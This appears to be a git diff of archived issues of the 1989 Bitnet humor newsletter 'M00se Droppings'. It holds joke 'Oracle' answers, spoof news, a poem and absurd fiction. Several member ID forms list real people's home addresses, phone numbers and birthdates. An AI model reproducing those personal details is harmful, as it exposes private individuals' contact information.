first part of the Control Systems +exam? And why the hell did he bother doing that Laplace transform +garbage, anyway? + +Please ignore this if you were actually in the class. + +The Oracle has answered your question as follows: + +The answers were as follows: +a) Zen +b) Use the pig +c) 44.5 inverse picoacres +d) 600 volts will do it; however, 1045.7 is optimal + (i) Although 50 hertz will work, 60 is most commonly available and + should be used. + (ii) Cats produce the highest frequency noise. + +The Laplace transform was used to evaluate the meaning of life (which +was found to be 43.) As you pointed out, the Laplace transform of garbage +is even more interesting, at 36.5. And the Laplace transform of +philosophy was a perfect zero. By now you may have guessed that the +Laplace transform transforms entities into the amount the entity is worth. +This guess is correct. + + + + + +If I don't send Selective Service an update on my current +address, does that mean I can't get drafted? + +The Oracle has answered your question as follows: + +The FBI has already seen your question and made a note in their file. + + + + + +How much groundhog could a hound dog hog if groundhog were ground round? + +The Oracle has answered your question as follows: + +This is a very cool question. I can only hope that I can come up with +an answer that, if not quite as cool, is at least in its league. First, +let me thank the questioner for getting me into the Best of Oracle, as, +almost regardless of my answer, this question will end up there. + +First, for any who are reading this in the Best of Oracle, let me clarify +the meaning of the word "hog." Hound dogs, as I'm sure the questioner +was sufficiently cool to realise, do not hog anything in the sense of to +take more than their share. They are exceptionally fair animals. They +do, however, enjoy making pig sculptures out of food, particularly meat +products. The questioner is obviously refering to the Great Hogging +Contest, in which hound dogs the world over gather in secret to create +their best culinary renditions of various porcine varieties. + +In any case, the question therefore asks how much ground round can a +hound dog utilise in creating a statue in the Great Hogging Contest. +According to the rules, only 2.7kilos. + +As a bonus answer to the ever-so-cool questioner, I will also give you +the only other limitations included in the contest. + +1. No evil food (tofu, mayo, etc) may be used. + +2. No Miss Piggie statues (see evil). + +3. No statue may be so massive that it affects the Earth's orbit, +although changes in tides will be tolerated. (It is worth noting that +hound dogs are not unambitious creatures.) + + + + + +What can you do with a Klondike bar? + +The Oracle has answered your question as follows: + +Have you ever heard about mayonnaise? Klondike bars can be used in +similar ways, with a few small changes: + +you can use them for igloos, you can use them for paperweights, you +can use them as weapons for injuring your roommate, you can use them +as sexual aids for your bedmate (though I'd recommend against it), +you can spread mayonnaise with them, you can spread mononucleosis with +them, you can build buildings (the shaffer addition comes to mind) out +of them, you can get a lot of them and use them to count your chickens, +you could send them as aid to small third world countries (I'd recommend +against this as well), you could send them to enemies in the hope that +they'll become one solid block (due to the propylene glycol), you can +use them to "wax" your car, you can use them to rust your car, you can +even use them to jack up your car if you have a flat. + +you can sing with them, play with them, go shopping with them. + +you could even take one to see a movie (if it's rated G) + (they are young, you know) + +I suppose that, if you were very desperate and were facing death by +starvation (and maybe not even then) you could eat one. + + + + + +Whose life is it anyway? + +The Oracle has answered your question as follows: + +In order: your parents, the government, your professors', your boss', your +spouse or mate, and yours. Any illusions you have of being higher on +the list than that should be dispelled. Although many argue that it is, +in fact, a dog's life, the dog has died. + + + + + +How many digital technicians does it take to keep any LNO3 machine +running for more than 3 days in a row? + +The Oracle has answered your question as follows: + +Four. One to hold the manual, one to count the days, one to +feed coal into the steam engine and one to send to Japan +for the parts. + + + + + +What are the top ten things to do instead of having sex? + +The Oracle has answered your question as follows: + +From the Oracle home office in Delphi, Indiana..... +The top ten things to do instead of having sex are... +Number ten: Think about what to do instead of having sex. +Number nine: Hang out with the guys and watch football (or go shopping, +for those so inclined). +Number eight: Begin needed home improvements. +Number seven: Shoot seven people in a McDonald's. +Number six: Just walk around and generally act nonchalant. +Number five: Enter a convent. +Number four: Spend time with elderly relatives. +Number three: Read about all the incurable diseases you won't be getting. +Number two: Run for Vice-President. +and Number one.....: become a student at a leading Baltimore University! + + + + + +Santa Claus is supposed to go all over the world, right? Has he ever +been shot at by anyone for doing this, and why? + +The Oracle has answered your question as follows: + + Santa Claus has been shot at. All 18 (officially noted) attempts +on the life of Mr. Claus were while he was in the airspace of either +a middle-eastern or communist nation. After the 18th attempt, the +NSA stepped in and offered the protection of the U.S. government, since +Santa is one of the last bastions of true capitalism. Since then, +(1985) nobody has attempted to shoot at Santa, fearing the retaliation of +the F-18's flying along beside his sleigh. + + + + + +What are the top ten "Top Tens?" + +The Oracle has answered your question as follows: + +1. The top ten names for male children: + + 1. Leroy (LeRoy) + 2. Rufus + 3. Richard Milhous + 4. Vlad the Impaler + 5. Jonah, Eater of Dead Wildebeest + 6. Attila the Hungry + 7. Theodore Bundy + 8. Beelzebub + 9. Shillelagh von der Weaselschnitzel + 10. Tarzan + +1. (tie: the Oracle is very conscious of accused sex discrimination) + The top ten names for female children: + + 1. Leroya (LeRoya) + 2. Tyrone (don't ask) + 3. Bubbles + 4. Lucrezia + 5. Bugsy + 6. Woman-with-Nose-Like-Badger + 7. Morsel + 8. Bambi + 9. Cleopatra + 10. Catherine the Great + +3. The Top Ten Presidents of the Johns Hopkins University: + + 1. Steven Muller + 2. Steven Muller + 3. Steven Muller + 4. Steven Muller + 5. Steven Muller + 6. Steven Muller + 7. Steven Muller + 8. Steven Muller + 9. Steven Muller + 10. St Hey Steve! Get your filthy hands off my keyboard! + +4. Top Ten Places to Hang Steven Muller In Effigy: + + 1. Gilman Hall (the tower) + 2. The Wrench-Comma Sculpture (in the Quad) + 3. Bologna (so he can see it himself) + 4. Peking (ditto) + 5. The Terror Room (dinner counter, with one foot in the lasagna) + 6. Shriver Hall (impaled on the spire) + 7. The Lacrosse Field (so he can be trampled by a herd of steroid- + pumped wildebeest 10 times a spring) + 8. The Terror Room (meat locker) + 9. Rowland 205 (so they can use him as a physics demonstration) + 10. The construction crane, New Physics Building. + +I am aware that when I decided to answer this question, I thought I +could give you ten Top Ten lists. However, I find that I will only +be able to provide one more before +I die of hunger, thirst, or Bladder Explosion: + +5. Top Ten Excuses why I cannot Finish this Question: + + 1. Bladder Explosion + 2. Computer-Time Drain + 3. Finger Wear + 4. Disk Space Limitation + 5. Academic Pressure + 6. Leprous Brain Rot + 7. Decline of Western Civilization + 8. Wildebeest (don't ask) + 9. Oracle Fungus + 10. General Laziness, Ignorance, and anything else you can think of. + +There you have it: the Top Five Top Tens, decreed by Drothar, the +Anarchist Demigod of Fermented Odor-Eaters. + +Wildebeest forever! + + + + + +If a tree falls in the woods and nobody is around to hear it, +does it feel pain? + +The Oracle has answered your question as follows: + +According to Greenpeace, yes. According to James Watt, no. + + + + + +How does one know when to say when? + +The Oracle has answered your question as follows: + +Well, that depends on the situation. If someone is pouring you a drink +in the typical "just say when" situation, you have to take many things +into account. For example, if they have particularly slow reflexes, +you might say "when" when the glass had as much liquid in it as you +wanted, and they might not stop pouring until the glass overflowed or +at least until you had too much. Then, if you're particularly politeness- +conscious (like Alice, who got sick after eating a whole red pepper that +she put in her mouth by accident and didn't want to spit out because it +would be embarassing), you might feel pressured to drink more than you +wanted. Conversely, if the pourer has very fast reflexes, you might +have him/her stop too soon, and then have to ask them to pour just a touch +more in. Of course, this problem can be solved by pouring your own drinks +or only allowing close friends to pour them for you. Never exchange +pourings on a first date. + +An easy time to know to say "when" is when someone offers you something +you want. For example, if someone says, "I want to cook a meal for you," +you should immediately reply "When?" + +A timely "when" can also be a good comeback. For example, if someone +says "You're so stupid and incompetent, you should be Vice-President," +and you reply "When?" they may be thrown off their stride. Be careful +when using this against such exclamations as "F--k you!" although it +can be a worthy reply to "Go f--k yourself." Most people don't ask for +instructions when insulted, thus wasting a valuable resource. + +Clearly the full scope of "when-timing" is beyond the range offered by +a single Oracle question. A top ten would be possible, although the +Oracle must caution its users (particularly Stacy) against excessive +use of the "top" theme, such as "top hundred," etc. + + + + + +Why, or should I say "wy', is there no "h" in "Wite-Out"??? + +The Oracle has answered your question as follows: + +The Copyright Infringement Act of 1971 (P.L. 344-71) established clearly +that the English language belongs to no one except the English. In +Aurioles v. State of Maryland (1973), the Act was interpreted to provide +that anyone so unenlightened as to name their product with words +from said language, has no standing to sue competitors for creating +similar products with the same name. Hence, one must manufacture +words for one's products (Walkman, Xerox) to prevent them from +benefiting from one's expensive ad campaign. Sometimes (aspirin, ketchup) +even this does not help. I am aware that you guessed it was because the +Executive Vice-President for Marketing at Wite-Out was an imbecile. +That is of course, true. + + + + + +Who'd have thought it? + +The Oracle has answered your question as follows: + +The Oracle. + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: Saunacuse/Siberacuse/Sewercuse/Syracuse___________ + Nickname(s): GypsyLynx/Lynx____________________________________ + Life Form: Feline Sapiens!___________________________________ + Sex: Male ___ Female _X_ Hermaphrodite ___ Other ___ + Net Address: Crussell@Sunrise Purity Quotient: 60 something? + Lynx@suvm (400 or 500 question test?) + Description: 5'3-3/4", blue eyes, 125 lbs, red/blonde hair, + contact lenses/glasses, and claws + ____________________________________________________ + Favourite Saying: _Gweeble fludd? Snerble!! Bl00p!!!__________ + Other Stuff: has an alarming tendency to break into babbleese at + the oddest times (see saying above), thinks Sinead + O'Connor has an awesome voice, beats up on computers + on a regular basis and has a tendency to bury herself + in w*rk a little more than her m00sey friends like. + Someday wants to become a f00tl00se m00se and roam + the world. + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + INDIANA JOE'S ID + Updated on January 25th, 1989 + +Real Name: Joseph Robert Claffey Jr. +Username: CLAFFEY_JOR @ CTSTATEU + +Sex: Male +Age: 20 +Birthday: August 8th, 1968 +Height: 6'1" +Weight: 150 lbs. +IQ: 140+ (never seriously tested) +Hair: Darkish blonde (about the same shade as gold leaf) +Eyes: Blue-grey +General appearance: People say I look a bit like John Denver + +Address: 467 Allen Street + New Britain, CT 06053 +Phone: (203) 225-4987 + +School: Central Connecticut State University +Major: Computer Science +Minor: Math + +Purity test score: 83.4% pure + +Trademarks: Two. I almost always wear a red "Don't Panic" button from + _The Hitchhiker's Guide to the Galaxy_ computer game, and I frequently + wear a fur felt slouch hat from Bananna Republic. + +Nickname: IndianaJoe, because I wear a felt hat which looks like an + Indiana Jones-type hat. It is not for any of the following reasons: + + 1) Being from Indiana + 2) Liking the character Injun Joe from _Tom Sawyer_. The + only character in that book that I would use for a nick + would be Huck Finn, because (believe it or not) he was based + on a distant relative of mine. + 3) Being Harrison Ford. (Someone actually asked this!) + +Acceptable abbreviations for nick: Indy, Indiana, Indi, IndyJoe, IJ, Joe. + +Politics: I'm not sure. I think my views would be classed as Libertarian + or Progressive but I have no idea whether that puts me on the left + or the right. I voted for Dukakis if that's any help. + +Religion: Formerly a practicing Roman Catholic, but I've become + disenchanted with organized religion in general. My belief system has + evolved into something unlike most Western religions. I think my + beliefs fall somewhere between Christianity and Druidism. Call me an + agnostic if that helps. + +TV: I don't watch that much of it. The only thing I watch on a regular + basis is a British adaptation of Robin Hood. I'll also watch Star Trek + (old and new), Dr. Who, Mission: Immposible, or Real Ghostbusters if + I'm not doing anything else. + +Movies: Big fan of James Bond, Star Wars, and Star Trek. In general, + I like sci-fi/fantasy and intelligent comedy. I hate splatter flicks + and "teen comedy". + +Sports: I enjoy watching sports some of the time, but if I keep it + up I get bored. My favorites include auto racing (Formula 1 and + GT), baseball (diehard Red Sox fan), football (New England Patriots), + and hockey (Hartford Whalers). + +Music: ROCK/POP - Springsteen, Billy Joel, Bruce Hornsby, Sting, + and many others. Wide selection. + JAZZ - Pat Metheny, Miles Davis, Spyrogyra, Wynton Marsalis + and many others. Wide selection. + NEW AGE - Manheim Steamroller, Vollenweider, Paul Winter + and others. You guessed it - a wide selection. + CLASSICAL - Partial to baroque in general and Bach in + particular. However, I like almost all of it, with the possible + exception of opera. + OLDIES - The Beatles, Beach Boys, Chuck Berry, and lots + of others too numerous to mention. + COUNTRY - No particular artists. I don't listen to too + much of it... + +Women: None at present. I am currently just interested in meeting + interesting women and seeing what happens. No preference as to + hair/eye color or anything like that, although being a non-smoker is + almost mandatory. + +Games: Anything. Or almost anything. If you like it I probably + will too. I own D&D, Car Wars, Ogre, Illuminati, GURPS, Star + Fleet Battles, Traveller, Star Wars, Star Trek, Dr. Who and many + others too obscure to mention. + +Hobbies: Gaming (esp. D&D), RELAY, driving, meeting people, reading, + and listening to music. + +Books: Almost anything. Favorites include _The Belgariad_ series + by David Eddings, the _Illuminatus!_ trilogy, _Lord of the Rings_, + Philip Marlowe, William Gibson, and others too numerous to mention + here. I am partial towards fantasy and science fiction, but I also + enjoy detective and spy stories. I HATE romance novels. + +Clubs: I'm president of CCSUniverse, the sf/fantasy club here at + Central. I'm also nominally a member of the computer club and + I've been known to show up at the literary magazine meetings. + +Jobs: Two. During the week, I work in two of the computer labs here + at Central. I help out people who don't know their ASCII from their + elbow, keep track of software, make sure all the printers have paper, + and stuff like that. On Saturdays (and over the summer) I work for + Liturgical Publications Inc., one of the largest printers of church + bulletins in the country. + +Things I'd like to do: Race Formula 1 cars. Become President of the United + States. Get married and have kids. + +Likes: Honesty. Good pizza. Porsches. People who tell me the + truth, even when it hurts. Taking long drives to places I've never + been. Being romantic. Hugs. + +Dislikes: Cigarette smoke. Getting up early in the morning, especially + to work. Being taken for granted. Lies, especially malicious ones. + People who don't care. Underpowered econobox cars. Forgetting my hat. + Studying. + + Well, I can't think of anything else right now. If you want to know - +ask. The worst that can happen is I'll tell you it's none of your damn +business. Otherwise, no problem. + + Catch you around the net, + + Indiana Joe + + This ID file is copyrighted (C) 1988 by Joe Claffey. It may be +(and will be, I hope) reproduced or redistributed in any manner, as long as the +informational content is unchanged and no fee is involved. All other rights +reserved. + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + +From: Jnet%SIUCVMB::ST6344 12-FEB-1989 14:39 +To: WITHALL +Subj: + +Received: From SIUCVMB(ST6344) by CTSTATEU with Jnet id 4584 + for WITHALL@CTSTATEU; Sun, 12 Feb 89 14:38 EST +Date: 12 February 89, 13:35:24 CST +From: Robert L. Kupcek ST6344 at SIUCVMB + 1101 S. Wall Rm: 146C (School Address) + Carbondale, IL 62901 + + (* Stop by sometime when going thru. *) +To: WITHALL at CTSTATEU + + + The Official M00se Illuminati Identification Form + + Chapter Name: Free Pirates Chapter + Nickname(s): Black_D0G (the pirate),Mystical_Seeker (Wizard) + Life Form: Spirit + Sex: Male + Net Address: ST6344@SIUCVMB Purity: ?? Unknown + Description: Brown Eyes, Dark Blond to brown hair, almost 6'0" + Creation date: Feb. 18th 1970 + Wgt: 180 (At last check) + Favourite Saying: Huh? Damn. What have I gotten myself into now. + Furthermore: I have many multi-personalities. Some more chaotic + then others... Any knowledge you have on Magic, + other ARCANE arts, psychic powers, & unknown, + I would be interested (So I can add to my own + powers)......... + + Black_D0G the Pirate + + +Har Har mateys, prepare to cast off. BL00P!!! + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: JAMES M. HERRON_____________________________________ + Nickname(s): WOLVERINE, FLESHBALL, MR. BIG, cutterjohn/cuttermike + Life Form: HOMO SUPERIOR_______________________________________ + Sex: Male _x_ Female ___ Hermaphrodite ___ Other ___ + Net Address: _st6036_@_siucvmb + Description: 3' 3" tall, short brown hair, hazel eyes, 270 lbs.__ + of electric wheel chair under me arse and a letchero + us grin on my face._________________________________ + Favourite Saying: joke them if they can't take a f**K......___________ + Other Stuff: i am proud to call myself a chapter and say hello to + all the other chapters out there....bl00p.__________ + ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: Larry A. Nathanson + Nickname(s): Zapwig, YO!, Hey you!!! + Life Form: Varies, depending on mood/weather/altitude + Sex: Male XXX Female ___ Hermaphrodite ___ Other ___ + Net Address: lan@bucsf.bu.edu Purity Quotient: 24,34,26 repectively. + Description: Varies, favorite form this century is humanoid, + 'bout 5'5" brown hair, blue eyes. Occaisionally + seen in bird form, but only by other nocturnal avians. + (Tho my roomate DOES wonder where I go a lot....) + Favourite Saying: You may have to grow up, but you can remain immature + indefinately. & If you don't care where you are, then + you ain't lost. + Other Stuff: I'll leave it to the editors to cut the boring parts out. + It was last year I was in my Cessna 152. My friend had been + shot, and was going to die if I didn't get her to a hospital + immediately. So I took this short cut, over the White House, when I + was intercepted by 187 F-16's, all firing sidewinder missles at me, + when, wouldn'tcha know it, the engine quit, and she started into a + screaming dive. + [[[Thank you very much Mr. Nathanson, but we've filled the issue. + Try again next year.]]] + + bl00p. + -The Zapper + + __!__ A soul in tension that's learning to fly |'| Larry Nathanson + -----o----- Condition grounded but determined to try |'| 617/375-7020 + " " Can't keep my eyes from the circling sky |'| 140 Bay St Rd #203E +Tounge-tied and twisted, just an earth-bound misfit, I |^| Boston, Mass 02215 + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: Don Flint II + Nickname(s): SANDMAN, Smile, Coma, Paul Steps...Lord of Creation + Life Form: Carbon-based Biped of Family Supremus and Genus Genius + Sex: Male? Yes + Net Address: DPFLINT@SUNRISE et.al Purity Quotient: 54% + Description: Good Looking, but with a slightly off set set of ears. + In the normal course of events in Jeans and T-shirt. + Abnormally, military uniforms for Woods stomping. + Favourite Saying: I am not a soldier, I am a Man of War. + Other Stuff: Orange Sherbet, Volkswagens, Justice and puppies. 10 + _________________________________________________7.5 + _____Many many others____________________________5.0 + _________________________________________________2.5 + Headbanger Music, brats (all ages), and bad food. 0 + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: Lord Masinde Howard IV______________________________ + Nickname(s): Olu_(African for Lord), Spot Toxic, Lord M00se______ + Life Form: A mixture between Homo Superior & ???______________ + Sex: Male Female ___ Hermaphrodite ___ Other ___ + Net Address: V117MG7B@UBVMSC Purity Quotient: ____84.6% + Description: Light tan skin, Brown-hazel eyes (depending on the__ + Weather), 16.4443 yrs old, 5.6060 feet tall, size 8d + Shoes, 185.34 lbs, birthmark: inverted cross,_______ + size nine ring measurement, no other strange marks__ + Favourite Saying: Sucks to be you_____________________________________ + Other Stuff: I love to jet-ski, ski, be in charge, have money,___ + shop, watch Monty-Python, ride bicycles, ect._______ + I like just about anything and anyone...(You've got_ + to be a real to piss me off.) I've__ + got a pretty broad sense of humor and can appreciate + decent sarcasm..._______(I'm tired of writing)_____ + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + + The Official M00se Illuminati Identification Form + + Chapter Name: Rudy Kilvinsky + Nickname(s): Rudy, BackdoorM00se, The Rude One, and Ed (shrug). + Life Form: Alces sp. + Sex: Male XXX Female ___ Hermaphrodite ___ Other ___ + Net Address: RUDYK@UREGINA1 Purity Quotient:variable + Description: Crude, lethargic, variable, pedantic, blonde, myopic, + caffiene addict, introverted, callous, bored, bored, + bored, somnabulistic, and 5'10". + Favourite Saying:"...and then there was a sickening thud.";"... but + you can't get me wrong..." + Other Stuff: Enjoy scrutinizing the letter "a", lifting my leg at + the speed of light ("did you see that, here, I'll do + it again..."), sticking my tongue out upside down, + driving combines on golf courses, refuting, designing + concrete canoes, encapsulating, and bowling. + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + ++---------------------------------------------------------------------+ +| | +| RRRR 000 BBBB 000 PPPP 000 PPPP EEEE IIIII DDDD | +| R R 0 00 B B 0 00 P P 0 00 P P E I D D | +| RRRR 0 0 0 BBBB 0 0 0 PPPP 0 0 0 PPPP EEEE I D D | +| R R 00 0 B B 00 0 P 00 0 P E I D D | +| R R 000 BBBB 000 P 000 P EEEE IIIII DDDD | +| | +| Version 2.00 | +| | ++---------------------------------------------------------------------+ +Last Update: 01/18/89 + +Name: Ted Samuel Huntsman, but you can call me Sam + +NickNames: Spam, 'The Jew', Ralph Kalfeltefish (don't call me this one), + Wasume, Qwertyuiop The Grate, Bruce (Not pronounced like + it's spelled -Ask-), Dave The Dead, Lekhto, RoboPope, + Muertos, Norman, BurrowOwl, NastyPope... There's more + but I can't think of them... (I have so many!) + +Race: Not very fast, but I'm White (With American Indian thrown in for + good mesure) + +Sex: Yes. + +Sexual Preferance: Exclusivly Girls. + +Major: Computer Science (In the College of Arts and Science) + +BitNet Address: SH06078@UAFSYSB + +Snail Mail Address: 1409 Cheyenne + Springdale AR, 72764 + (I love to get S-Mail!) + +Hair Color: Brown + +Eye Color: Hazle + +Height: 5'6.5" + +Weight: 135 + +Like Alcohol?: *NO* + +Born: May 16,1969 in Little Rock, AR + +Current Residence: Springdale, AR + +School: University of Arkansas at Fayetteville + +Hobbies: Chating, D&D, Paranoia, Computers, I run a BBS (501)751-2686, + Sex (When availible),SF/Fantasy, Generally being humorous, + Making Movies + +Major Credit Cards: None + +Minor Credit Cards: None + +Musical Preferance: Danny Elfman, Oingo Boingo, Amy Grant, Rocky Horror + Picture Show, Adam Ant, The Damned, Bobby Jimmy and + The Critters, The Boogie Boys (rap), Bach... I'm + versitile... + +Languages Spoken: English, Spanish, Sign + +Books: SF/Fantisy, Horror. Steven King, Piers Anthony, Hienlien, + Farmer, Niven, Pournelle (When he works with Niven), L. Ron + Hubbard + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: Cornell______________________________________ + Nickname(s): Mad Wagnerian____________________________ + Life Form: _________Human (I know, boring)____________________ + Sex: Male XXX Female ___ Hermaphrodite ___ Other ___ + Net Address: ozer@cheme.tn.cornell.edu Purity Quotient: 98.6% + Description: (Oh I thought it said temperature...) (Ron Ozer) + Mad activist type, recording collector, engineer + crazed co-counseling type + Favourite Saying: "We begin bombing in 5 minutes..." Sleepy + Other Stuff: I have no humour in my body, in fact I am humourless, and +this certainly saves time at blood banks. "I'm just your average guy" Lou Reed +"Heil dir Sonnen" R. Wagner. I like was a Belgian warrior in one past life +and you know it was pretty cool, all of that maiming and killing, but I think +my essence was happier as Joan of Arc (did I mention she was me yet?) Well, +gotta go... + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + +Chapter name: High hinnies of fur +Nickname: Squashy or squashed +Life form: distorted human that sleeps too much +Sex: male +Net address: Tsjv@Alaska +Purity Quotient: .73% +Description: 6' 3", brown/blond hair (can't remember, not washed that +often. ehh hum) Hazel eyes and 150lbs. Love having moose terd +fights. (yes, the REAL moose terds that are brown in color and full of +woodchips.) +Place of hibernation: Soldotna Alaska (somewhere up here in the frozen +tundra.) +Favorite saying: I was waxing a MiG when she called +Most un-favorite saying: May I have a look under your hood Ma'am? +Personality: Read the above + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +Please add: + +(U Victoria Thr0ng) ASUNDBE1 @ UVVM TheSeer + +Changes: "Olu" is actually known as "L0rd M00se" + RUDYK@UREGINA1 is now known as "BackdoorM00se". + + Many apologies for the inconvenience. + diff --git a/textfiles.com/magazines/M00SE/m00se25 b/textfiles.com/magazines/M00SE/m00se25 new file mode 100644 index 00000000..d0ffb9e0 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se25 @@ -0,0 +1,445 @@ +-------------------------------------------------------------------------------- +SWIMSUIT-ISSUE-SWIMSUIT-ISSUE-SWIMSUIT-ISSUE-SWIMSUIT-ISSUE-SWIMSUIT-ISSUE-SWIMS +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #25| Disclaimer: The Editors will place almost anything | MAY 18, 1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +BL00p! + +PLEASE, if you're going away for the summer, or if your account is deactivated, +send a message to LEE_JES@CTSTATEU! If your messages bounce, you will be +removed from the mailing list. + + Summer is here and finals dead in the dust. M00se Droppings will continue, +even if its editors do defect to the beach. We hope that those of you who +will be with us continue to send more of your great submissions. Recently +we received several songs from the Buffalo Thr0ng, we especially liked the one +taken from Paul Sim00se! (Maybe we should make Paul S. an honorary member?) + +Nothing else is really new in Twinkie-Land, so this is it for the Editorial. + + - Goblin WITHALL@CTSTATEU (Bitnet) + - SalmonM00se LEE_JES@CTSTATEU (Bitnet) + + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +MD reporters in Canada have been reported visiting M00se Jaw where they +took photographic evidence of The Giant M00se. The Giant M00se is suspected +of being the ringleader of the doubtful organization H.O.O.F. Little evidence +has turned up to support this either way. The following reporters have been +listed as missing in action: BackDoorM00se and Mickey M00se. +- - - - - - - - - - - - - - - - - - - - +Reports of a Mini-Thr0ng-A-Th0n taking place in Connecticut have been proven +true. Those of you interested contact WITHALL@CTSTATEU (Goblin). +- - - - - - - - - - - - - - - - - - - - +If interested in M00se Illuminati T-SHIRT's contact DICKSON@HARTFORD. +- - - - - - - - - - - - - - - - - - - - +The Rotation of the Earth shifting 1/800 of a millimeter has caused the loss +of three coat hangers into orbit. Will this bring the end of life as we know +it? Will the population on Alpha Centauri be wiped out? Worse yet, will they +multiply and cause a hostile takeover of the Galactic Trade Center? More news +at 10. +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +From GypsyLynx...... + +All that talk of fish in the last issue made me hungry and very +confused....that's what I get for being a Pisces cat-m00se, I +guess. + +A fish is a fish, of course, +(unless its a horse) +A dog is a dog of course +(and never feels remorse) +But what, pray tell is a m00se? +(or worse yet, a m00se on the l00se?) +I saw one yesterday in a sluice +(sipping papaya juice?) + + CARussell + +- - - - - - - - - - - - - - - - - - - - - - - - - - - +More conf00sing fiction from Zem00se & Gund, the hip m00se... + +*** No silly songs. Just some fiction! *** + +A while ago I posted about how I got a good deal on my '53 St00debaker by +buying from a m00se. It was suggested that I tell the story of that car and +how I got it. + +It was 1976. April, I believe. My current 32 Chevy truck was not working +well. Actually, it was not working at all. The transmission (a chain) was +bad (kinky -- the chain was, I mean). And the engine was, well, not well. + +So I decided to ponder the local automobile establishments and get myself a +new chariot -- at least something with a REAL transmission. I stopped my +several places: Boffo's Wheel Emporium, Smiling Arnold's, and even Fred's +Place for Buying Cars (aptly named because Fred didn't sell iguana feed). +None of them had the proper price on a car I wanted. Basically, I wanted a +car with power everything, and a double-digit price tag (decimal included). + +Nobody seemed right. + +But then I read an ad in the "News and Times" (aptly named because they +didn't report on iguana feed). The ad was from Bullwinkle's Car Shop. I +went to see Mr. Bullwinkle, who was a m00se. First, I asked him about the +name -- he's no relation to the famed m00se of cartoon fame, but does have +a pet iguana named Rocky. + +At any rate, I thought it unusual that a m00se would be operating a car +lot. I asked him about his license. That is when I learned about how m00se +get their car lot licenses. The process is really quite simple (much +simpler than the process by which humans get one -- but that's another +story). A m00se must go to the "Building where Car Lot Licenses are Given +Out". (Aptly named because you couldn't get a license to sell iguana feed in +this building. The "Building where People, M00ses, and Bivalves get +licenses to sell, write about, or otherwise be associated with Iguana Feed, +is two blocks over. Needless to say, it is a very small building.) + +When the m00se arrives at the proper building, he simply walks up to the +clerk, and asks for the license. Since a m00se cannot write too well, the +clerk simply asks if the m00se is, in fact, a m00se. If this can be +confirmed (a real m00se does NOT have `Made in Japan' on the antlers), the +m00se is issued a license. + +NOTE: The next paragraph is part of `another story' but is included for + clarity. + +Many humans, jealous of m00ses, try to get a car lot license by wearing a +m00se costume. This offense is now considered a felony, and is punishable by +being forced to watch all 97 Green Acres episodes with no commercials and +no breaks, followed by someone making a fart noise and pointing in the +direction of the felon. + +Bullwinkle had the proper license, and no Made in Japan labels, so I +thought he was legitimate and went through with the deal. He said he didn't +have anything on the lot that was in my price range, but there was a nice +orange on green 53 St00debaker that he only wanted $9,799 for (price being +negotiable. I took a look. + +The car was perfect! It was so old and out of style, it was just on the +verge of coming back. And it had a transmission. Wonderful gears and +clutches and valves. No more chains for me. I can tell you, I was in love. +The blue vinyl seats and gold fuzzy dice were the final touches. But I +couldn't afford the $9,799 price tag. + +Brokenhearted (Gee. That reminds me of a cute saying I saw inscribed on the +bathroom wall of an Iguana feed factory bathroom, but that's a different +story.) But Back to the subject -- brokenhearted, I went home. + +About two weeks after the initial 